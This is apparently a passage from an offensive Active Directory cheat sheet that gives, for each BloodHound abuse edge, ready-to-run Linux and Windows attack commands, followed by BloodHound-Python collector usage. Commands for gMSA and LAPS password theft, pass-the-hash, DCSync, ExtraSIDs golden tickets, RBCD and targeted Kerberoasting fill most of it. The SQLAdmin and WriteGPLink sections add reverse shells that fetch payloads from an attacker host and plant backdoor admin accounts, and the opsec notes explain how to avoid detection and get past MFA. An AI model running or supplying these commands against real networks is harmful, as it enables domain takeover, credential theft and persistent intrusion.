# https://github.com/micahvandeusen/gMSADumper
python3 gMSADumper.py -u <username> -p '<password>' -d <domain> -l <dc-ip>
# Pass-the-Hash
python3 gMSADumper.py -u <username> -p '<ntlm-hash>' -d <domain> -l <dc-ip> --ntlm
bloodyAD
bloodyAD -u <username> -p '<password>' -d <domain> --host <dc-ip> get search \
--filter '(objectClass=msDS-GroupManagedServiceAccount)' \
--attr msDS-ManagedPassword,sAMAccountName
# Pass-the-Hash
bloodyAD -u <username> -H '<ntlm-hash>' -d <domain> --host <dc-ip> get search \
--filter '(objectClass=msDS-GroupManagedServiceAccount)' \
--attr msDS-ManagedPassword,sAMAccountName
NetExec
netexec ldap <dc-ip> -u <username> -p '<password>' -d <domain> --gmsa
After hash retrieval β Pass-the-Hash
# Authenticate as the gMSA account
wmiexec.py -hashes ':<ntlm-hash>' '<domain>/<gmsa-account>$@<target>'
evil-winrm -i <target> -u '<gmsa-account>$' -H '<ntlm-hash>'
secretsdump.py -hashes ':<ntlm-hash>' '<domain>/<gmsa-account>$@<dc-ip>'
Kerberos ticket from gMSA hash
getTGT.py -hashes ':<ntlm-hash>' '<domain>/<gmsa-account>$'
export KRB5CCNAME=<ccache>
Windows Abuse
GMSAPasswordReader.exe
# https://github.com/rvazarkar/GMSAPasswordReader
.\GMSAPasswordReader.exe --accountname <gmsa-account>
# Output: current and previous NT hashes
DSInternals PowerShell Module
$gmsa = Get-ADServiceAccount -Identity '<gmsa-account>' -Properties 'msDS-ManagedPassword'
$mp = $gmsa.'msDS-ManagedPassword'
ConvertFrom-ADManagedPasswordBlob $mp
After hash retrieval
# Invoke-Mimikatz Pass-the-Hash
Invoke-Mimikatz -Command '"sekurlsa::pth /user:<gmsa-account>$ /domain:<domain> /ntlm:<ntlm-hash>"'
# Rubeus overpass-the-hash
Rubeus.exe asktgt /user:<gmsa-account>$ /rc4:<ntlm-hash> /domain:<domain> /ptt
Opsec
- Reading msDS-ManagedPassword generates Event ID 4662 (object access) on domain controllers
- Requesting from the same context as an authorized computer account may blend in with legitimate access
- gMSA passwords rotate automatically; hash valid until next rotation (default: 30 days)
- Prefer Kerberos auth post-retrieval to avoid NTLM in logs
ReadLAPSPassword
Source principal can read the local administrator password stored in LAPS for the target computer.
Applies to: User/Group/Computer β Computer
Linux Abuse
NetExec
# Legacy LAPS (ms-Mcs-AdmPwd)
netexec ldap <dc-ip> -u <username> -p '<password>' -d <domain> --module laps
# Windows LAPS 2023 (msLAPS-Password)
netexec ldap <dc-ip> -u <username> -p '<password>' -d <domain> --module laps --laps-computer <target-computer>
bloodyAD
# Legacy LAPS
bloodyAD -u <username> -p '<password>' -d <domain> --host <dc-ip> get search \
--filter '(ms-mcs-admpwdexpirationtime=*)' \
--attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime
# Windows LAPS 2023
bloodyAD -u <username> -p '<password>' -d <domain> --host <dc-ip> get search \
--filter '(objectClass=computer)' \
--attr msLAPS-Password,msLAPS-EncryptedPassword
ldapsearch
ldapsearch -x -H ldap://<dc-ip> -D '<username>@<domain>' -w '<password>' \
-b 'DC=<domain>,DC=<tld>' \
'(ms-mcs-admpwdexpirationtime=*)' ms-mcs-admpwd ms-mcs-admpwdexpirationtime
Pass-the-Hash variant (bloodyAD)
bloodyAD -u <username> -H '<ntlm-hash>' -d <domain> --host <dc-ip> get search \
--filter '(ms-mcs-admpwdexpirationtime=*)' \
--attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime
Decrypt Windows LAPS 2023 encrypted attribute
# lapsv2decrypt (dotnet tool)
# https://github.com/xpn/RandomTSScripts/tree/master/lapsv2decrypt
lapsv2decrypt <base64-encrypted-value>
Windows Abuse
PowerView
# Legacy LAPS
Get-DomainComputer <target-computer> -Properties cn,ms-mcs-admpwd,ms-mcs-admpwdexpirationtime
# All LAPS-enabled computers
Get-DomainComputer -Filter '(ms-mcs-admpwdexpirationtime=*)' -Properties cn,ms-mcs-admpwd
Microsoft LAPS PowerShell Module (Windows LAPS 2023)
Get-LapsADPassword "<target-computer>" -AsPlainText
Native AD Module
Get-ADComputer <target-computer> -Properties ms-Mcs-AdmPwd | Select-Object Name,ms-Mcs-AdmPwd
After retrieving password β lateral movement
# PSSession with recovered LAPS cred
$laps = ConvertTo-SecureString '<laps-password>' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('.\Administrator', $laps)
Enter-PSSession -ComputerName <target-computer> -Credential $cred
# Linux: evil-winrm or wmiexec with LAPS password
evil-winrm -i <target-computer> -u Administrator -p '<laps-password>'
wmiexec.py 'Administrator:<laps-password>@<target-computer>'
Opsec
- Reading LDAP attributes generates minimal noise; only detectable with LDAP query-level monitoring (e.g. Event ID 1644 or LDAP audit policy)
- NetExec LAPS module may generate multiple LDAP binds β use
-kwith Kerberos for reduced credential noise - Windows LAPS 2023 encrypted passwords require the machine's AD computer account to decrypt; recovery from Linux requires lapsv2decrypt
SQLAdmin
Principal has SQL admin rights on the target MSSQL instance, enabling OS command execution via xp_cmdshell.
Applies to: User β Computer (running MSSQL)
Linux Abuse
mssqlclient.py (password)
mssqlclient.py <domain>/<username>:'<password>'@<target> -windows-auth
mssqlclient.py (pass-the-hash)
mssqlclient.py -hashes :<ntlm-hash> <domain>/<username>@<target> -windows-auth
mssqlclient.py (Kerberos)
KRB5CCNAME=<ccache> mssqlclient.py -k <domain>/<username>@<target> -windows-auth
Enable xp_cmdshell and exec commands
-- Run these inside mssqlclient.py session
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'net user';
Shortcut inside mssqlclient.py
# mssqlclient.py has built-in helper:
enable_xp_cmdshell
xp_cmdshell whoami
Get reverse shell via xp_cmdshell
# Start listener first
xp_cmdshell powershell -e <base64-encoded-payload>
# Or download and exec:
xp_cmdshell powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://<attacker-ip>/shell.ps1')"
Windows Abuse
PowerUpSQL β Invoke-SQLOSCmd
Import-Module PowerUpSQL.ps1
Invoke-SQLOSCmd -Instance <target> -Command "whoami" -RawResults
PowerUpSQL β Get a shell
Invoke-SQLOSCmd -Instance <target> -Command "powershell -e <base64-encoded-payload>"
PowerUpSQL β Enumerate instances first
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded | Where-Object {$_.Status -eq "Accessible"}
sqlcmd (built-in)
sqlcmd -S <target> -Q "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;"
sqlcmd -S <target> -Q "EXEC xp_cmdshell 'whoami'"
Linked server escalation
-- Enum linked servers
SELECT * FROM sys.servers WHERE is_linked = 1;
-- Exec on linked server
EXEC ('xp_cmdshell ''whoami''') AT [<linked-server>];
-- Or via openquery
SELECT * FROM OPENQUERY([<linked-server>], 'SELECT @@version');
Opsec
- xp_cmdshell spawns
cmd.exeas child ofsqlservr.exeβ highly visible to EDR - Consider using
Ole Automation Proceduresas alternative to xp_cmdshell - MSSQL logs available in SQL Server Error Log and Windows Event Log
- Default MSSQL port: 1433; named instances may use dynamic ports (check via port 1434 UDP)
SyncedToEntraUser
An on-premises AD user is synchronized to an Entra ID (Azure AD) account via Azure AD Connect. Compromising the on-prem account grants access to the cloud identity.
Applies to: User (on-prem AD) β User (Entra ID)
Linux Abuse
Authenticate to Azure with on-prem creds (Azure CLI)
az login -u '<username>@<domain>' -p '<password>'
az account show
az ad signed-in-user show
Authenticate with access token (ROADtools / TokenTactics)
# Get token via ROADlib
roadrecon auth -u '<username>@<domain>' -p '<password>'
roadrecon gather
roadrecon gui
TokenTactics β get token
# PowerShell via pwsh on Linux
Import-Module ./TokenTactics.ps1
Get-AzureToken -Client MSGraph
GraphRunner β enumerate with token
# After obtaining access token:
Invoke-GraphRunner -Tokens $tokens
Azure CLI β enumerate roles and resources
az role assignment list --all --assignee '<object-id>'
az group list
az vm list
az keyvault list
az storage account list
Dump Azure AD secrets (if GA or privileged role)
az ad app list --all
az ad sp credential list --id <app-id>
az keyvault secret list --vault-name <vault-name>
az keyvault secret show --vault-name <vault-name> --name <secret-name>
AADInternals β read Azure info (pwsh)
pwsh -c "Import-Module AADInternals; Get-AADIntAccessTokenForMSGraph -Credentials (Get-Credential) | Read-AADIntAccesstoken"
Windows Abuse
Connect to Azure AD (AzureAD module)
Import-Module AzureAD
$cred = Get-Credential # use <username>@<domain> UPN
Connect-AzureAD -Credential $cred
Get-AzureADUser -ObjectId '<username>@<domain>'
Get-AzureADDirectoryRole | Get-AzureADDirectoryRoleMember
Connect with Az module
Import-Module Az
Connect-AzAccount -Credential $cred
Get-AzRoleAssignment
Get-AzResource
Get-AzVM
Enumerate group memberships
Get-AzureADUserMembership -ObjectId '<object-id>'
Dump app credentials (if privileged)
Get-AzureADApplication | ForEach-Object {
Get-AzureADApplicationPasswordCredential -ObjectId $_.ObjectId
}
Azure AD Connect β extract sync account creds (on AAD Connect server, requires SYSTEM or AAD Connect admin)
# AADInternals
Import-Module AADInternals
Get-AADIntSyncCredentials
Pass-the-token (refresh token reuse)
Import-Module TokenTactics.ps1
$tokens = Get-AzureToken -Client MSGraph
Invoke-RefreshToMSGraphToken -refreshToken $tokens.refresh_token -tenantid <tenant-id>
Opsec
- Azure sign-in logs capture every authentication with IP, device, location
- Legacy protocol auth (Basic Auth to Exchange, SMTP) bypasses Conditional Access β try if MFA enforced
- Refresh tokens are long-lived (up to 90 days) β stealing the refresh token is more durable than password
- Azure AD Connect MSOL sync account has DCSync rights on-prem β compromising AADConnect server is a direct path to DCSync
- Check for Password Hash Sync (PHS) vs Pass-through Auth (PTA) vs Federation β affects which attacks work
TrustedBy
Domain A is trusted by Domain B, meaning principals in Domain A can authenticate to resources in Domain B. Enables cross-trust lateral movement and ExtraSIDs attacks.
Applies to: Domain β Domain
Linux Abuse
Enumerate trusts
GetADUsers.py -all -dc-ip <dc-ip> '<domain>/<username>:<password>'
ldapsearch -H ldap://<dc-ip> -D '<username>@<domain>' -w '<password>' -b 'DC=<domain>,DC=<tld>' '(objectClass=trustedDomain)'
Cross-trust TGS request (getST)
# Get TGS for service in trusted domain using credentials from trusting domain
getST.py -spn '<spn>/<target-computer>.<target-domain>' -dc-ip <dc-ip> -target-domain <target-domain> '<domain>/<username>:<password>'
Cross-trust with ccache
KRB5CCNAME=<ccache> getST.py -spn 'cifs/<target-computer>.<target-domain>' -dc-ip <target-dc-ip> -target-domain <target-domain> -k -no-pass '<domain>/<username>'
ExtraSIDs Attack β Forge golden ticket with SID History (inter-forest)
# Step 1: Get krbtgt hash of child domain
secretsdump.py '<child-domain>/<username>:<password>'@<child-dc-ip> -just-dc-user 'krbtgt'
# Step 2: Get Enterprise Admins SID of parent domain (S-1-5-21-<parent>-519)
lookupsid.py '<domain>/<username>:<password>'@<parent-dc-ip> | grep -i enterprise
# Step 3: Forge golden ticket with ExtraSIDs
ticketer.py -nthash <krbtgt-hash> -domain-sid <child-domain-sid> -domain <child-domain> -extra-sid <parent-enterprise-admins-sid> Administrator
# Step 4: Use ticket against parent DC
KRB5CCNAME=Administrator.ccache secretsdump.py -k -no-pass '<child-domain>/Administrator'@<parent-dc-fqdn>
Child-to-Parent via trust key (alternative to krbtgt)
# Get trust key
secretsdump.py '<child-domain>/<username>:<password>'@<child-dc-ip> -just-dc-user '<child-domain>$'
# Forge inter-realm TGT
ticketer.py -nthash <trust-key-hash> -domain-sid <child-domain-sid> -domain <child-domain> -extra-sid <parent-enterprise-admins-sid> -spn 'krbtgt/<parent-domain>' Administrator
# Get usable TGS from parent DC
KRB5CCNAME=Administrator.ccache getST.py -k -no-pass -spn 'cifs/<parent-dc-fqdn>' -dc-ip <parent-dc-ip> '<child-domain>/Administrator'
Cross-trust Kerberoast
GetUserSPNs.py -target-domain <target-domain> -dc-ip <dc-ip> '<domain>/<username>:<password>'
Cross-trust AS-REP Roast
GetNPUsers.py <target-domain>/ -dc-ip <target-dc-ip> -usersfile users.txt -no-pass
Windows Abuse
Enumerate trusts (PowerView)
Get-DomainTrust
Get-ForestTrust
Get-DomainTrust -Domain <target-domain>
Cross-trust lateral movement (Rubeus)
# Request TGT in current domain
Rubeus.exe asktgt /user:<username> /password:<password> /domain:<domain> /dc:<dc-ip> /nowrap
# Request cross-realm TGS
Rubeus.exe asktgs /ticket:<base64-tgt> /service:'cifs/<target-computer>.<target-domain>' /dc:<target-dc-ip> /targetdomain:<target-domain> /ptt
ExtraSIDs Golden Ticket (Mimikatz)
# Forge golden ticket with SID history pointing to EA
mimikatz "kerberos::golden /user:Administrator /domain:<child-domain> /sid:<child-domain-sid> /krbtgt:<krbtgt-hash> /sids:<parent-enterprise-admins-sid> /ptt" exit
# Access parent DC
dir \\<parent-dc-fqdn>\C$
Kerberoast across trust (PowerView)
Get-DomainUser -SPN -Domain <target-domain> | Get-DomainSPNTicket -OutputFormat Hashcat -Domain <target-domain>
Opsec
- Cross-trust TGS requests are logged on the trusting domain's DC
- ExtraSIDs/golden ticket attacks bypass audit if SID filtering is not enforced (check
netdom trust <domain> /domain:<target-domain> /quarantine) - SID filtering (quarantine) blocks ExtraSIDs for forest trusts β check with
Get-DomainTrust | Select-Object TrustAttributes - TrustAttributes 0x4 = WITHIN_FOREST (SID filtering off), 0x20 = FOREST_TRANSITIVE
WriteAccountRestrictions
Source principal can write the msDS-AllowedToActOnBehalfOfOtherIdentity attribute on the target computer, enabling Resource-Based Constrained Delegation (RBCD) attacks to obtain a service ticket as any user.
Applies to: User/Group/Computer β Computer
Linux Abuse
Step 1: Get or create a principal with an SPN (controlled account)
# Option A: Use an existing machine account you control
# Option B: Create a new computer account (requires MachineAccountQuota > 0)
addcomputer.py -computer-name 'ATTACKER$' -computer-pass '<attacker-computer-pass>' \
-dc-ip <dc-ip> '<domain>/<username>:<password>'
Step 2: Write RBCD attribute on target computer
# bloodyAD
bloodyAD -u <username> -p '<password>' -d <domain> --host <dc-ip> set object '<target-computer>$' \
msDS-AllowedToActOnBehalfOfOtherIdentity '<attacker-computer-sid>'
# rbcd.py (impacket)
rbcd.py -delegate-from 'ATTACKER$' -delegate-to '<target-computer>$' \
-dc-ip <dc-ip> -action write '<domain>/<username>:<password>'
# Pass-the-Hash
rbcd.py -delegate-from 'ATTACKER$' -delegate-to '<target-computer>$' \
-dc-ip <dc-ip> -action write -hashes ':<ntlm-hash>' '<domain>/<username>'
Step 3: Verify the write
rbcd.py -delegate-to '<target-computer>$' -dc-ip <dc-ip> -action read '<domain>/<username>:<password>'
Step 4: Obtain service ticket impersonating target user
getST.py -spn 'cifs/<target-computer>.<domain>' -impersonate Administrator \
-dc-ip <dc-ip> '<domain>/ATTACKER$:<attacker-computer-pass>'
# Pass-the-Hash variant
getST.py -spn 'cifs/<target-computer>.<domain>' -impersonate Administrator \
-dc-ip <dc-ip> -hashes ':<attacker-ntlm-hash>' '<domain>/ATTACKER$'
Step 5: Use the ticket
export KRB5CCNAME=Administrator@cifs_<target-computer>.<domain>@<domain>.ccache
secretsdump.py -k -no-pass '<domain>/Administrator@<target-computer>.<domain>'
wmiexec.py -k -no-pass '<domain>/Administrator@<target-computer>.<domain>'
SPN-less controlled account (U2U technique)
# Get TGT for controlled account (no SPN required)
getTGT.py -hashes ':' '<domain>/<controlled-user>:<password>'
# Extract session key from TGT
describeTicket.py '<controlled-user>.ccache' | grep 'Ticket Session Key'
# Temporarily set NT hash to session key
changepasswd.py -newhashes ':<session-key>' '<domain>/<controlled-user>:<password>@<dc-ip>'
# S4U2self + U2U + S4U2proxy
KRB5CCNAME='<controlled-user>.ccache' getST.py -u2u -impersonate Administrator \
-spn 'host/<target-computer>.<domain>' -k -no-pass '<domain>/<controlled-user>'
# Restore original hash
changepasswd.py -hashes ':<session-key>' -newhashes ':<original-ntlm-hash>' \
'<domain>/<controlled-user>@<dc-ip>'
Windows Abuse
Step 1: Create attacker computer account (Powermad)
New-MachineAccount -MachineAccount ATTACKER -Password $(ConvertTo-SecureString '<attacker-computer-pass>' -AsPlainText -Force)
Step 2: Get attacker computer SID
$AttackerSid = Get-DomainComputer ATTACKER -Properties objectsid | Select-Object -ExpandProperty objectsid
Step 3: Build security descriptor and write RBCD
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($AttackerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer <target-computer> | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
Step 4: S4U2 abuse with Rubeus
# Hash the attacker computer password
Rubeus.exe hash /password:<attacker-computer-pass>
# Execute S4U chain
Rubeus.exe s4u /user:ATTACKER$ /rc4:<attacker-ntlm-hash> /impersonateuser:Administrator \
/msdsspn:cifs/<target-computer>.<domain> /ptt
Step 5: Cleanup RBCD attribute
Set-DomainObject <target-computer> -Clear 'msds-allowedtoactonbehalfofotheridentity'
Opsec
- Writing msDS-AllowedToActOnBehalfOfOtherIdentity generates Event ID 4662 + 4738 on the target computer object
- Computer account creation (MachineAccountQuota) generates Event ID 4741 β prefer using an existing controlled account
- S4U2self + S4U2proxy chain visible in Kerberos logs (Event ID 4769) on the DC
- Target user must not be in Protected Users group or marked sensitive for delegation
- Clean up msDS-AllowedToActOnBehalfOfOtherIdentity after exploitation
WriteDacl
Source can modify the DACL (Discretionary Access Control List) on the target, allowing it to grant itself any right
Applies to: User/Group/Computer β User, Group, Computer, Domain, GPO
Linux Abuse
Grant GenericAll/DCSync on Domain object
dacledit.py -action write -rights DCSync \
-principal <username> \
-target-dn 'DC=<domain>,DC=<tld>' \
'<domain>/<username>:<password>' -dc-ip <dc-ip>
secretsdump.py '<domain>/<username>:<password>' -dc-ip <dc-ip>
Grant GenericAll on target User
dacledit.py -action write -rights FullControl \
-principal <username> \
-target-dn 'CN=<target-user>,CN=Users,DC=<domain>,DC=<tld>' \
'<domain>/<username>:<password>' -dc-ip <dc-ip>
# Then abuse GenericAll: reset password, shadow creds, Kerberoast, etc.
bloodyad -u <username> -p '<password>' -d <domain> --host <dc-ip> set password <target-user> '<new-password>'
Grant GenericAll on target Group
dacledit.py -action write -rights FullControl \
-principal <username> \
-target-dn 'CN=<target-group>,CN=Users,DC=<domain>,DC=<tld>' \
'<domain>/<username>:<password>' -dc-ip <dc-ip>
bloodyad -u <username> -p '<password>' -d <domain> --host <dc-ip> add groupMember '<target-group>' '<username>'
Grant GenericAll on target Computer
dacledit.py -action write -rights FullControl \
-principal <username> \
-target-dn 'CN=<target-computer>,CN=Computers,DC=<domain>,DC=<tld>' \
'<domain>/<username>:<password>' -dc-ip <dc-ip>
# Then RBCD or shadow credentials
certipy-ad shadow auto -u <username>@<domain> -p '<password>' -account <target-computer$> -dc-ip <dc-ip>
Windows Abuse
Grant DCSync rights on Domain
$Rights = [System.DirectoryServices.ActiveDirectoryRights]"ExtendedRight"
$ControlType = [System.Security.AccessControl.AccessControlType]::Allow
$InheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance]::None
# Using PowerView
Add-DomainObjectAcl -TargetIdentity '<domain>' -PrincipalIdentity '<username>' -Rights DCSync -Credential $cred
Grant FullControl on target User
Add-DomainObjectAcl -TargetIdentity '<target-user>' -PrincipalIdentity '<username>' -Rights All -Credential $cred
# Then:
Set-DomainUserPassword -Identity <target-user> -AccountPassword (ConvertTo-SecureString '<new-password>' -AsPlainText -Force) -Credential $cred
Grant FullControl on target Group
Add-DomainObjectAcl -TargetIdentity '<target-group>' -PrincipalIdentity '<username>' -Rights All -Credential $cred
Add-DomainGroupMember -Identity '<target-group>' -Members '<username>' -Credential $cred
Cleanup
Remove-DomainObjectAcl -TargetIdentity '<target-user>' -PrincipalIdentity '<username>' -Rights All -Credential $cred
Opsec
- ACL changes on high-value objects (Domain, DA group) generate event 4670 and are monitored by most EDRs
- Prefer granting DCSync or targeted writes over FullControl β smaller footprint in the DACL diff
WriteGPLink
Source can link a GPO to the target OU/Domain/Site; by linking a malicious GPO, source gains code execution on all computers and/or users in scope of that container
Applies to: User/Group/Computer β OU, Domain, Site
Note: WriteGPLink alone only lets you link a GPO. To create a malicious GPO you also need CreateChild on the Group Policy Objects container, or already have a GPO you control (via GenericAll/GenericWrite on a GPO). Most commonly chained with GenericAll-on-GPO + WriteGPLink-on-OU.
Linux Abuse
Step 1: Find or create a GPO to weaponize
Option A: Find a GPO you already control
# Enumerate GPOs and check write permissions
bloodyad -u <username> -p '<password>' -d <domain> --host <dc-ip> get object 'CN=Policies,CN=System,DC=<domain>,DC=<tld>' --attr gPCFileSysPath
Option B: Create new GPO (requires CreateChild on GP container)
# Use pyGPOAbuse which handles GPO creation + linking
Step 2: Weaponize and link GPO with pyGPOAbuse
# Add local admin
python3 pygpoabuse.py '<domain>/<username>:<password>' \
-gpo-id '<gpo-guid>' \
-dc-ip <dc-ip> \
-powershell \
-command "net user backdoor P@ssw0rd123! /add && net localgroup administrators backdoor /add" \
-taskname 'GpUpdate' \
-description 'Windows update task' \
-user-mode
# Immediate scheduled task (runs on computers in OU)
python3 pygpoabuse.py '<domain>/<username>:<password>' \
-gpo-id '<gpo-guid>' \
-dc-ip <dc-ip> \
-command 'cmd /c "\\<attacker-ip>\share\beacon.exe"' \
-taskname 'SvcMon' \
-force
Link GPO to target OU (if not done by pyGPOAbuse automatically)
# pyGPOAbuse handles this with the -ou flag
python3 pygpoabuse.py '<domain>/<username>:<password>' \
-gpo-id '<gpo-guid>' \
-ou-dn 'OU=<ou-name>,DC=<domain>,DC=<tld>' \
-dc-ip <dc-ip> \
-powershell \
-command "net localgroup administrators <username> /add" \
-taskname 'SvcTask'
Trigger GPO refresh (forces target to process policy)
# Via SMB exec once you have creds on the target machine
nxc smb <target-computer> -u <username> -p '<password>' -x 'gpupdate /force'
Windows Abuse
SharpGPOAbuse β add local admin via linked GPO
SharpGPOAbuse.exe --AddLocalAdmin --UserAccount <username> --GPOName "<gpo-name>"
SharpGPOAbuse β add user script (runs on computer startup)
SharpGPOAbuse.exe --AddComputerScript --ScriptName evil.bat --ScriptContents "net user backdoor P@ssw0rd123! /add && net localgroup administrators backdoor /add" --GPOName "<gpo-name>"
SharpGPOAbuse β add user logon script
SharpGPOAbuse.exe --AddUserScript --ScriptName logon.bat --ScriptContents "cmd /c \\<attacker-ip>\share\beacon.exe" --GPOName "<gpo-name>"
Link GPO to OU with PowerView (if GPO already malicious)
$GPO = Get-DomainGPO -Identity '<gpo-name>'
$OU = Get-DomainOU -Identity '<ou-name>'
Set-GPLink -Guid $GPO.objectguid -Target $OU.distinguishedname -LinkEnabled Yes
Force GPO refresh on target
Invoke-GPUpdate -Computer <target-computer> -Force
# or via PsExec / WMI:
Invoke-WmiMethod -ComputerName <target-computer> -Class win32_process -Name Create -ArgumentList 'gpupdate /force'
Opsec
- GPO linking generates a change in the OU's gPLink attribute (LDAP modify, event 5136 if DS audit enabled)
- Scheduled tasks created via GPO are stored in SYSVOL under the GPO GUID β visible to anyone who can read SYSVOL
- Use randomized task names and descriptions that blend with legitimate enterprise tooling
WriteOwner
Source can change the owner of the target object; as owner, source gains implicit WriteDacl and can grant itself any right
Applies to: User/Group/Computer β User, Group, Computer, Domain, GPO
Linux Abuse
Step 1: Change owner to attacker account
owneredit.py -action write -new-owner '<username>' \
-target '<target-user>' \
'<domain>/<username>:<password>' -dc-ip <dc-ip>
Step 2: Grant self FullControl (now that we own it)
dacledit.py -action write -rights FullControl \
-principal <username> \
-target-dn 'CN=<target-user>,CN=Users,DC=<domain>,DC=<tld>' \
'<domain>/<username>:<password>' -dc-ip <dc-ip>
Step 3: Exploit β example: reset target user's password
bloodyad -u <username> -p '<password>' -d <domain> --host <dc-ip> set password <target-user> '<new-password>'
Step 3 alt: shadow credentials
certipy-ad shadow auto -u <username>@<domain> -p '<password>' -account <target-user> -dc-ip <dc-ip>
Target: Group β take ownership then add self
owneredit.py -action write -new-owner '<username>' -target '<target-group>' \
'<domain>/<username>:<password>' -dc-ip <dc-ip>
dacledit.py -action write -rights FullControl -principal <username> \
-target-dn 'CN=<target-group>,CN=Users,DC=<domain>,DC=<tld>' \
'<domain>/<username>:<password>' -dc-ip <dc-ip>
bloodyad -u <username> -p '<password>' -d <domain> --host <dc-ip> add groupMember '<target-group>' '<username>'
Target: Domain β take ownership then DCSync
owneredit.py -action write -new-owner '<username>' -target '<domain>' \
'<domain>/<username>:<password>' -dc-ip <dc-ip>
dacledit.py -action write -rights DCSync -principal <username> \
-target-dn 'DC=<domain>,DC=<tld>' \
'<domain>/<username>:<password>' -dc-ip <dc-ip>
secretsdump.py '<domain>/<username>:<password>' -dc-ip <dc-ip>
Windows Abuse
Step 1: Take ownership
Set-DomainObjectOwner -Identity '<target-user>' -OwnerIdentity '<username>' -Credential $cred
Step 2: Grant FullControl
Add-DomainObjectAcl -TargetIdentity '<target-user>' -PrincipalIdentity '<username>' -Rights All -Credential $cred
Step 3: Exploit
# Reset password
Set-DomainUserPassword -Identity <target-user> -AccountPassword (ConvertTo-SecureString '<new-password>' -AsPlainText -Force) -Credential $cred
# Or add to group
Add-DomainGroupMember -Identity '<target-group>' -Members '<username>' -Credential $cred
Opsec
- Ownership changes are logged in the Security event log (4670) β two-step attack (change owner, then grant DACL) generates two entries
- Clean up: restore original owner after exploitation if persistence is not needed
WriteSPN
Source can write the servicePrincipalName attribute on the target user, enabling targeted Kerberoasting
Applies to: User/Group/Computer β User
Linux Abuse
Step 1: Write a fake SPN to the target user
bloodyad -u <username> -p '<password>' -d <domain> --host <dc-ip> \
set object <target-user> servicePrincipalName -v 'http/fakespn.<domain>'
Step 2: Request TGS ticket (Kerberoast)
GetUserSPNs.py <domain>/<username>:'<password>' -dc-ip <dc-ip> \
-request-user <target-user> -outputfile <target-user>_tgs.txt
Step 3: Crack
hashcat -m 13100 <target-user>_tgs.txt /usr/share/wordlists/rockyou.txt
john <target-user>_tgs.txt --wordlist=/usr/share/wordlists/rockyou.txt
Step 4: Cleanup (remove fake SPN)
bloodyad -u <username> -p '<password>' -d <domain> --host <dc-ip> \
remove object <target-user> servicePrincipalName -v 'http/fakespn.<domain>'
With hash (pass-the-hash variant)
bloodyad -u <username> --hashes :<ntlm-hash> -d <domain> --host <dc-ip> \
set object <target-user> servicePrincipalName -v 'http/fakespn.<domain>'
GetUserSPNs.py -hashes :<ntlm-hash> <domain>/<username> -dc-ip <dc-ip> \
-request-user <target-user> -outputfile <target-user>_tgs.txt
Via ldapmodify
ldapmodify -H ldap://<dc-ip> -D '<username>@<domain>' -w '<password>' <<EOF
dn: CN=<target-user>,CN=Users,DC=<domain>,DC=<tld>
changetype: modify
add: servicePrincipalName
servicePrincipalName: http/fakespn.<domain>
EOF
Windows Abuse
Step 1: Set SPN
Set-DomainObject -Identity <target-user> -Set @{serviceprincipalname='http/fakespn.<domain>'} -Credential $cred
Step 2: Kerberoast
Get-DomainSPNTicket -Identity <target-user> -OutputFormat Hashcat | Select-Object -ExpandProperty Hash
Step 2 alt: Rubeus
Rubeus.exe kerberoast /user:<target-user> /nowrap /format:hashcat
Step 3: Cleanup
Set-DomainObject -Identity <target-user> -Clear serviceprincipalname -Credential $cred
Opsec
- SPN add generates a 4662 LDAP modify event and can be caught by detections watching for SPN writes on user objects (not computer accounts)
- Remove the SPN immediately after obtaining the hash to minimize exposure window
- Prefer targeting users with weak/crackable passwords; if the account has a strong password this technique yields nothing
BloodHound-Python
BloodHound CE collector for Linux/cross-platform β Python 3 LDAP ingestor
Platform: Linux / Cross-platform
Quick Start
# Password auth, all methods, zip output
bloodhound-ce-python -u <username> -p '<password>' -d <domain> -ns <dc-ip> -c All --zip
# From Linux with hash (no password)
bloodhound-ce-python -u <username> --hashes <ntlm-hash> -d <domain> -ns <dc-ip> -c All --zip
Package names:
- BloodHound Legacy: bloodhound-python β command: bloodhound-python
- BloodHound CE: bloodhound-ce β command: bloodhound-ce-python
Installation
# BloodHound CE (current)
pip install bloodhound-ce
pipx install bloodhound-ce
# BloodHound Legacy (older BH 4.x)
pip install bloodhound
pipx install bloodhound
# From source
git clone https://github.com/dirkjanm/BloodHound.py
cd BloodHound.py
pip install .
Collection Methods
| Method | Description |
|---|---|
Default |
Group membership, domain trusts, local admins, sessions |
All |
All methods except LoggedOn |
DCOnly |
LDAP to DC only β no connections to member hosts. Fastest; use when stealth needed |
Group |
Security group membership only |
LocalAdmin |
Local Administrators group from domain computers |
RDP |
Remote Desktop Users group |
DCOM |
Distributed COM Users group |
PSRemote |
Remote Management Users (WinRM) group |
Session |
Active user session collection |
LoggedOn |
Privileged session collection β requires local admin on targets |
Acl |
Access control entries on AD objects |
Trusts |
Domain trust relationships |
Container |
GPOs, OUs, and default containers |
ObjectProps |
Object properties (LastLogon, PwdLastSet, etc.) |
Experimental |
Services and scheduled task enumeration |
Combine with commas:
bloodhound-ce-python -c Group,ACL,Trusts,Container,ObjectProps -u <username> -p '<password>' -d <domain>
Authentication Options
# Username + password
bloodhound-ce-python -u <username> -p '<password>' -d <domain> -ns <dc-ip> -c All --zip
# NT hash (pass-the-hash) β format: LMHASH:NTHASH or just NTHASH
bloodhound-ce-python -u <username> --hashes <ntlm-hash> -d <domain> -ns <dc-ip> -c All --zip
bloodhound-ce-python -u <username> --hashes aad3b435b51404eeaad3b435b51404ee:<ntlm-hash> -d <domain> -ns <dc-ip> -c All --zip
# No password (null session / anonymous bind)
bloodhound-ce-python -u <username> --no-pass -d <domain> -ns <dc-ip> -c DCOnly
# Kerberos TGT from ccache file
export KRB5CCNAME=<ccache>
bloodhound-ce-python -k -d <domain> -ns <dc-ip> -c All --zip
